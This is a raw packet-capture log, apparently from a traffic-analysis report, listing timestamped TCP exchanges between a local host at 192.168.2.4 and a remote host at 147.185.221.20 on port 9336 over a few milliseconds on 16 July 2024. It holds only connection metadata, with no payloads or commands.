Jul 16, 2024 21:07:13.936757088 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.936775923 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.936794043 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.936803102 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.936834097 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.936852932 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.936882019 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937231064 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.937283993 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937346935 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.937375069 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.937397003 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937403917 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.937421083 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937442064 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937453985 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.937482119 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.937505960 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937520027 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.937916040 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938122988 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938628912 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938657045 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938682079 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938695908 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938694954 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938710928 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938733101 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938750982 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938761950 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938774109 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938812017 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938839912 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938851118 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938864946 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938874006 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938898087 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.938930988 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938957930 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.938986063 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939007998 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939014912 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939039946 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939047098 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939054012 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939088106 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939115047 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939136028 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939178944 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939306021 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939342022 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939364910 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939383984 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939419985 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939431906 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939460039 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939480066 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939487934 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939527035 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939553976 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939579010 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939588070 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939600945 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939614058 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939625978 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939636946 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939647913 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939649105 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.939667940 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.939711094 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940006018 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940016985 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940030098 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940051079 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940063000 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940067053 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940088987 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940105915 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940109015 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940124035 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940150976 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940155983 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940164089 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940191984 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940207958 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940220118 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940231085 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940249920 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940259933 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940277100 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940278053 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940289974 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940294027 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940311909 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940331936 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940335989 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940349102 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940368891 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940386057 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940435886 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940445900 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940510988 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940527916 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940536976 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940566063 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940567970 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940577984 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940587044 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940587044 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940598011 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940607071 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940620899 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940633059 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940640926 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940643072 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940649986 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940687895 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940751076 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940759897 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940777063 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940784931 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940793037 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940804005 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940810919 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940819979 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940825939 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940829039 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940836906 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940841913 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940862894 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940871954 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940880060 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940896034 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940902948 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940912008 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940921068 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940922976 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940929890 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940942049 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940965891 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.940967083 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.940975904 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941010952 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941023111 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941026926 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941032887 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941066980 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941081047 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941088915 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941117048 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941128969 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941133022 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941143990 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941153049 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941163063 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941171885 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941171885 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941191912 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941191912 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941203117 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941211939 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941214085 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941230059 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941231966 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941241980 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941250086 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941263914 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941286087 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941286087 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941297054 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941307068 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941320896 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941338062 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941348076 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941351891 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941358089 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941368103 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941387892 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941405058 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941427946 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941468954 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.941488028 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.941528082 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942367077 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942377090 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942379951 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942384005 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942415953 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942429066 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942440033 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942444086 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942470074 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942481995 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942496061 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942533970 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942540884 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942550898 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942559958 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942583084 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942588091 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942599058 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942605972 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942634106 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942646027 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942648888 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942656040 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942693949 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942730904 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942748070 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942768097 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942790031 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942859888 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942878962 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942888021 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942897081 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942912102 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942920923 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942938089 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942971945 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.942972898 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.942984104 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943008900 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943015099 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943022013 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943038940 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943058968 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943089962 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943100929 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943135977 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943145037 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943145037 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943183899 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943187952 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943192959 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943219900 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943233967 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943245888 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943254948 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943294048 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943377972 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943387985 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943397045 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943407059 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943416119 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943425894 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943425894 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943434954 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943444014 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943475962 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943779945 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943789005 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943830967 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943871975 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943881035 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943901062 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943917990 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943924904 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943939924 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943948030 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943958998 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943968058 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.943969011 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943983078 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.943994045 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944014072 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944021940 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944032907 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944075108 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944091082 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944101095 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944108963 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944133043 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944152117 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944152117 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944166899 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944191933 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944195986 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944211960 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944238901 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944257021 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944276094 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944286108 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944314003 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944328070 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944336891 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944345951 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944354057 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944363117 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944377899 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944384098 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944402933 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944426060 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944478035 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944508076 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944519997 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944525957 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944533110 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944544077 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944554090 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944572926 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944582939 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944596052 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944606066 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944622040 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944623947 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944633961 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944648027 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944681883 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944683075 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944715023 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944727898 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944736958 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944746971 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944756985 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944758892 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944766998 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944772005 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944791079 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944791079 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944802999 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944808960 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944812059 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944822073 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944833994 CEST	49738	9336	192.168.2.4	147.185.221.20
Jul 16, 2024 21:07:13.944861889 CEST	9336	49738	147.185.221.20	192.168.2.4
Jul 16, 2024 21:07:13.944864988 CEST	49738	9336	192.168.2.4	147.185.221.20
